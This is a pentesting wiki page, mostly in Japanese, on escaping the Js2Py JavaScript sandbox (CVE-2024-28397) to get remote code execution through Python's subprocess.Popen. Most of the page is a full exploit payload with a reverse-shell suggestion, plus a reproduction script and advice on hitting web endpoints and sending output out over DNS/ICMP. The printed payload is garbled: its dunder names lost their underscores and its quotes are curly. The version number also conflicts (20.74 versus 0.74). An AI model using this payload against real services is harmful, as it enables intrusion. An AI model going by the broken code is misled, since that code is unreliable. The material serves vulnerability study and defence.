Js2Py sandbox escape (CVE-2024-28397)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Js2Py は JavaScript を Python オブジェクトに変換するため、js2py.disable_pyimport() を使用していても、信頼できない JS が Python の内部を横断して subprocess.Popen のような危険なクラスに到達することができます。バージョン 20.74 では、Js2Py が JS オブジェクトに公開している Python のリフレクション原始操作を悪用して、本来「サンドボックス化」された JavaScript から RCE を取得できます。
Primitive: pivot from JS object wrappers to Python objects
- Get a Python-backed object:
Object.getOwnPropertyNames({})returns adict_keysobject in Python space. - Recover attribute access: grab
.__getattribute__from that object and call it to read arbitrary attributes (e.g.,"__class__"). - Climb to
object: from<class 'dict_keys'>read.__base__to reach Python’s baseobject. - Enumerate loaded classes: call
object.__subclasses__()to walk every class already loaded in the interpreter. - Find
subprocess.Popen: recursively search subclasses where__module__ == "subprocess"and__name__ == "Popen". - Execute a command: instantiate Popen with attacker-controlled arguments and invoke
.communicate()to capture output.
subprocess.Popen に到達するために Js2Py を悪用するサンプルペイロード
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
</details>
これが有効な理由: Js2PyはPythonオブジェクトラッパーをJSに公開しますが、`__getattribute__`、`__class__`、`__base__`、`__subclasses__`を削除しません。`disable_pyimport()`は明示的な`pyimport`のみをブロックしますが、上記のチェーンは新たに何かをインポートすることはなく、既にロードされたモジュールやクラスをメモリ内で再利用します。
## チェーンをローカルで再現する
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Webサンドボックスへの対処
- 攻撃者が制御するJSを
js2py.eval_jsに渡すエンドポイント(例えば、Flaskの/run_codeAPI)は、プロセスの実行ユーザーがシェルアクセスを持っている場合、即座にRCEになる。 .communicate()がbytesを返すとjsonify({'result': result})は失敗する;シリアライズの阻害を避けるためにデコードするか、出力をDNS/ICMPに送る。disable_pyimport()はこのチェーンを緩和しない;ハードな隔離(別プロセス/コンテナ)か、信頼されていないコードをJs2Pyで実行させないようにする必要がある。
References
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


